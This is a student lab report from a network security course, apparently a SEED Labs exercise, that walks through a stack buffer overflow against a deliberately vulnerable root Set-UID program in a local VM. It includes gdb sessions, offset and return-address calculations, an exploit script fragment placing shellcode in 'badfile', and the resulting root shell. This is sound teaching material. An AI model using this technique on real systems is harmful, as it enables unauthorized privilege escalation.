CS 5153/5053 Network Security, Spring 2023

Project 2: Buffer Overflow Attack

Report

Student: Austin Tyler Conn

Link to Source Code https://github.com/austinc3030/buffer_m11809075

Host Environment Used

Operating System: macOS Ventura 13.0.1
Hardware: Apple M1 Mac Mini (ARM Architecture)
Hypervisor: UTM

Additional Notes

Due to the current state of virtualization on M1 Macs (ARM based), the pre-built virtualbox image provided by SEED Labs was not used. Instead, the instructions to build the virtual machine for the lab provided by SEED Labs were followed and used for the project.

Virtual Machine Environment Used

Operating System: Ubuntu Desktop 22.03.2

```
networksecvm% uname -a
Linux networksecvm 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
networksecvm%
```

Shell: zsh v5.8.1

```
networksecvm% ps -p $$
    PID TTY          TIME CMD
   1283 tty1     00:00:04 zsh
networksecvm% zsh --version
zsh 5.8.1 (x86_64-ubuntu-linux-gnu)
networksecvm%
```

gcc:

```
networksecvm% gcc --version
gcc --version
gcc (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Copyright (C) 2021 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

networksecvm%
```

Caveats:

1. Due to differences between 32/64-bit assembly, the `gcc-multilib` package is required.

```
networksecvm% sudo apt-get install gcc-multilib
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  gcc-11-multilib lib32asan6 lib32atomic1 lib32gcc-11-dev lib32gcc-s1 lib32gomp1 lib32itm1 lib32quadmath0 lib32stdc++6 lib32ubsan1 libc6-dev-i386
  libc6-dev-x32 libc6-i386 libc6-x32 libx32asan6 libx32atomic1 libx32gcc-11-dev libx32gcc-s1 libx32gomp1 libx32itm1 libx32quadmath0 libx32stdc++6 libx32ubsan1
The following NEW packages will be installed:
  gcc-11-multilib gcc-multilib lib32asan6 lib32atomic1 lib32gcc-11-dev lib32gcc-s1 lib32gomp1 lib32itm1 lib32quadmath0 lib32stdc++6 lib32ubsan1 libc6-dev-i386
  libc6-dev-x32 libc6-i386 libc6-x32 libx32asan6 libx32atomic1 libx32gcc-11-dev libx32gcc-s1 libx32gomp1 libx32itm1 libx32quadmath0 libx32stdc++6 libx32ubsan1
0 upgraded, 24 newly installed, 0 to remove and 0 not upgraded.
Need to get 21.8 MB of archives.
After this operation, 82.7 MB of additional disk space will be used.
Do you want to continue? [Y/n]
```

   a. Further, when compiling c code in this environment, the gcc flag `-m32` is required to instruct gcc to compile for a 32-bit architecture.

2. The gdb plugin Python Exploit Development Assistance for GDB (PEDA) is installed on this virtual machine for ease of use in gdb

```
networksecvm% git clone https://github.com/longld/peda.git
Cloning into 'peda'...
remote: Enumerating objects: 382, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 382 (delta 2), reused 8 (delta 2), pack-reused 373
Receiving objects: 100% (382/382), 290.84 KiB | 1.37 MiB/s, done.
Resolving deltas: 100% (231/231), done.
networksecvm% ls
buffer_m11809075  peda
networksecvm% echo "source /home/user/peda/peda.py" >> /home/user/.gdbinit
networksecvm%
```

How do you perform the attack in your VM

1. Disable address space randomization

```
networksecvm% sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
networksecvm% _
```

2. Compile *stack.c* with the flags:
    a. `-m32` instructs gcc to compile for 32-bit architectures
    b. `-z execstack` make the stack executable
    c. `-fno-stack-protector` disabled Stack-Guard Protection Scheme

```
networksecvm% gcc -m32 -z execstack -fno-stack-protector -o stack stack.c
networksecvm% ls
badfile  stack  stack.c  stack_debug
networksecvm% _
```

Note: *it is assumed here that the steps in the sections below, "How do you find the value of ebp" and "How do you decide the content of badfile" have been completed previously*

3. Make the *stack* program a root-owned Set-UID program

```
networksecvm% sudo chown root stack
[sudo] password for user:
networksecvm% sudo chmod 4755 stack
networksecvm% ls -la stack
-rwsr-xr-x 1 root user 15088 Feb 28 01:35 stack
networksecvm%
```

4. Run *exploit.py* to generate *badfile*

```
networksecvm% python3 exploit.py
networksecvm% ls
badfile  exploit.py  stack  stack.c  stack_debug
networksecvm% cat badfile
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
◆◆◆◆◆◆◆◆◆◆◆◆◆1◆Ph//shh/bin◆◆PS◆◆
                                ◆%
networksecvm%
```

5. Run *stack*

```
networksecvm% ./stack
# whoami
root
# _
```

How do you find the value of ebp

1. Compile *stack.c* with the flags:
    a. `-m32` instructs gcc to compile for 32-bit architectures
    b. `-g` debug flag
    c. `-z execstack` make the stack executable
    d. `-fno-stack-protector` disabled Stack-Guard Protection Scheme

```
networksecvm% gcc -m32 -g -z execstack -fno-stack-protector -o stack_debug stack.c
networksecvm% ls
stack.c  stack_debug
networksecvm% _
```

2. Create a temporary, blank file *badfile* (failure to do so leads to a segmentation fault)

```
networksecvm% touch badfile
networksecvm% ls
badfile  stack.c  stack_debug
networksecvm%
```

3. Run *stack_debug* with *gdb*

```
networksecvm% gdb stack_debug
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack_debug...
gdb-peda$
```

4. Set a breakpoint on the *bof* function

```
gdb-peda$ b bof
Breakpoint 1 at 0x11f1: file stack.c, line 21.
gdb-peda$
```

5. Continue execution of the program

```
[-----------------------------------registers-----------------------------------]
EAX: 0x56558fc8 --> 0x3ed0
EBX: 0x56558fc8 --> 0x3ed0
ECX: 0x5655a238 --> 0x0
EDX: 0x0
ESI: 0xffffdbd4 --> 0xffffdd15 ("/home/user/buffer_m11809075/src/stack_debug")
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffd858 --> 0xffffdb08 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x56555000 --> 0x464c
ESP: 0xffffd7c0 --> 0x36 ('6')
EIP: 0x565561f1 (<bof+20>:      sub    esp,0x8)
EFLAGS: 0x212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code--------------------------------------]
   0x565561e1 <bof+4>:  sub    esp,0x94
   0x565561e7 <bof+10>: call   0x565562b3 <__x86.get_pc_thunk.ax>
   0x565561ec <bof+15>: add    eax,0x2ddc
=> 0x565561f1 <bof+20>: sub    esp,0x8
   0x565561f4 <bof+23>: push   DWORD PTR [ebp+0x8]
   0x565561f7 <bof+26>: lea    edx,[ebp-0x8a]
   0x565561fd <bof+32>: push   edx
   0x565561fe <bof+33>: mov    ebx,eax
[------------------------------------stack--------------------------------------]
0000| 0xffffd7c0 --> 0x36 ('6')
0004| 0xffffd7c4 --> 0x56557008 --> 0x61620072 ('r')
0008| 0xffffd7c8 --> 0xf7e04d9d (<_IO_doallocbuf+13>:    add    ebx,0x1a7263)
0012| 0xffffd7cc --> 0x1000
0016| 0xffffd7d0 --> 0x5655a1a0 --> 0xfbad2498
0020| 0xffffd7d4 --> 0x205
0024| 0xffffd7d8 --> 0xffffd8f7 --> 0x0
0028| 0xffffd7dc --> 0xf7e02d19 (add    esp,0x10)
[-------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xffffd8f7 "") at stack.c:21
21          strcpy(buffer, str);
gdb-peda$
```

6. Obtain the value of *ebp*

```
gdb-peda$ p $ebp
$1 = (void *) 0xffffd858
```

ebp = **0xffffd858**

How do you decide the content of badfile

1. Complete the steps in the section above, "How do you find the value of ebp" as the *ebp* value found will be used in the calculations for the construction of the badfile
2. In addition to the value of *ebp*, the address where *buffer* starts is required
   ```
   gdb-peda$ p &buffer
   $1 = (char (*)[130]) 0xffffd7ce
   ```
   buffer starts at **0xffffd7ce**
3. The return address *ebp* is after the starting address of *buffer*, therefore, we can overflow the buffer such that the content at that return address will be an address we want to return to. To determine where this address should be stored, we must determine the difference between the return address (*ebp*) and the start address of *buffer*
   ```
   gdb-peda$ p/d 0xffffd858 - 0xffffd7ce
   $3 = 138
   gdb-peda$ _
   ```
   a. This means that 138 bytes after the start of *buffer*, the next byte will be the beginning of the return address we want to alter. Thus, our offset will be 142, meaning the address we want to return will be stored 142 bytes into the content of badfile
4. Since we are placing our shellcode at the end of the badfile, and we do not want to return exactly where the program would normally return, we need to add some padding to the address we store so that the return lands at least in the NOP bytes of our payload. This can be an arbitrary number greater than 4 such that this number lies within the content of the badfile. I chose 96 such that:
   a. *ebp*+offset+96 = 0xFFFFD858 + 0x60 = 0xFFFFD8B8
5. The address determined in step 5a needs to be stored at the offset in the badfile
   ```
   ##################################################################
   # padded return address with 96
   ret    = 0xFFFFD8B8   # replace 0xAABBCCDD with the correct value
   offset = 142            # replace 0 with the correct value

   content[offset+0] = 0xB8
   content[offset+1] = 0xD8
   content[offset+2] = 0xFF
   content[offset+3] = 0xFF

   start_of_shellcode = 517 - len(shellcode)
   content[start_of_shellcode:] = shellcode
   ##################################################################
   ```

Whether your attack is successful

1. When running *stack* with the generated *badfile* alongside, the exploit works correctly. We can verify we have a root shell by running `whoami` which returns *root*

```
networksecvm% ./stack
# whoami
root
# _
```